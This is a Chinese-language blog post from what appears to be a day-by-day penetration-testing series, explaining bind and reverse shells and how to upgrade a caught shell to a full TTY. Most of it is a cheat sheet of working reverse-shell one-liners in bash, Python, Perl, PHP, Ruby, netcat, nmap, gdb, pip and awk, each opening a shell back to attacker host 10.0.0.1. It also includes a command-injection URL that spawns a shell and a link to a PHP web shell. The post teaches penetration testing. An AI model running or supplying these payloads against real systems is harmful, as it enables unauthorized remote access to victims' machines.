[Day24] Bind Shell / Reverse Shell

前言

$nc -lvnp 1337

http://shhhhh.com/?cmd=nc%20-e%20/bin/sh%2010.0.0.1%201337

$id

root

正文

概念

在我们已经可以利用某个漏洞时,最期待的莫过於遇到可以RCE的洞,而我们从网站漏洞到拿到目标Server的Initial Access就是透过Bind Shell或Reverse Shell的方式。

Bind Shell

Bind shell是绑定到目标(受害者)主机上的特定port来监听传入连接的shell,例如:

先使用netcat将bash(sh) Shell绑定到目标主机上的1234 port

然後在攻击者端通过这个1234 port连接到目标主机。(右方为攻击者)


Reverse Shell

Reverse Shell则是相反
先在攻击者(local)端监听任何对4444 port的发起的连线,

然後让目标主机(受害者端)对攻击者端的4444 port发起连线。(右方为攻击者)


两者的差别在於,Reverse shell是从目标主机对攻击者主机发起连线
而Bind Shell是先在目标主机上绑定特定port,然後等来自攻击者主机对目标主机发起连线,就像後门(backdoor)一样。

很多可以建立连线的程序语言/指令都可以用来写Bind/Reverse Shell,依据语言特性也会有不同的写法,甚至有些意想不到的command都可以用来写Bind/Reverse Shell,下面列出几个Reverse Shell:

  • nmap
export RHOST=10.0.0.1
export RPORT=1234
TF=$(mktemp)
echo 'local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
  local r,x=t:receive();local f=assert(io.popen(r,"r"));
  local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();' > $TF
nmap --script=$TF
  • bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

有时为了确保目标的shell使用bash会在前面加上bash -c:
bash -c `bash -i >& /dev/tcp/10.0.0.1/1234 0>&1`

  • gdb
export RHOST=10.0.0.1
export RPORT=1234
gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' -ex quit
  • Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • pip
export RHOST=10.0.0.1
export RPORT=1234
TF=$(mktemp -d)
echo 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' > $TF/setup.py
pip install $TF
  • PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

另一种php Reverse Shell,适合用在具有某个可以修改且运行的php网站,例如将wordpress的404.php,换成这个类型的PHP Reverse Shell,碍於篇幅,我只将Github网址贴上来:

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

  • Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • Netcat
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  • awk
RHOST=10.0.0.1
RPORT=1234
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
    s = "/inet/tcp/0/" RHOST "/" RPORT;
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

当你成功在目标主机上或的Initial Access後,最常碰到的问题就是,无法像正常的Shell一样好用,例如不能使用方向键(像是上箭头↑的指令历史纪录)、倒退、clear、无法正常使用vim等等,甚至一些指令如su,ssh都要求需要一个正常的Shell才能执行。

这时候我们就可以透过一些方法来将这个shell升级成完全交互式(Fully Interactive)的TTY

  • Python pty
    这也是我最常用的,首先在接收到从目标主机弹回来的Shell之後,在获得的shell执行以下动作:
  1. python3 -c 'import pty; pty.spawn("/bin/bash")'
  2. Ctrl + z

会显示

[1]+ Stopped nc -nvlp 1234

  1. stty raw -echo; fg
  2. 按两次Enter

这样就完成了,但仍然有一些问题,像是在输入较长的指令时,会在非预期的地方换行甚至覆盖掉原本写的指令,非常不方便,所以需要让这个升级过後的tty跟我们原本的terminal保持一致。

先在一个新的terminal执行:

  1. stty -a

拿到raws跟colums的值後,在刚刚升级的tty上写下:
export TERM=xterm-256color
stty rows 32 colums 69
这样我们就得到一个足够好用的tty了


<<:  Day 24 cypress取得mock的回传资料

>>:  Day24 AR应用太空篇之总不可能要太空人当爹又当妈,学习当太空人又要拥有很多的维修知识

[Day27 ] Chained Exploits - 链式漏洞利用(漏洞利用组合技)

前言 前面介绍了很多Web攻击,今天来讲讲组合技吧 正文 在真实世界(real-world)的恶意攻...

专业必备技能:应用程序相关

专业必备技能:应用程序相关 https://wolkesau.medium.com/专业必备技能-应...

[面试][後端]在正式 API 完成前,如何让要串接的工程师不要空等?

建立 Mock Server 後,前端工程师就失去耍废时间不需要等後端做好才能串接。 前端工程师心里...

30天零负担轻松学会制作APP介面及设计【DAY 26】

大家好,我是YIYI,今天我要来检讨一下目前的问题~ 问题 第一个部分是页面,我认为可以再增加一些页...

JavaScript学习日记 : Day11 - 函数绑定

当object中的function作为callback function传递给setTimeout时...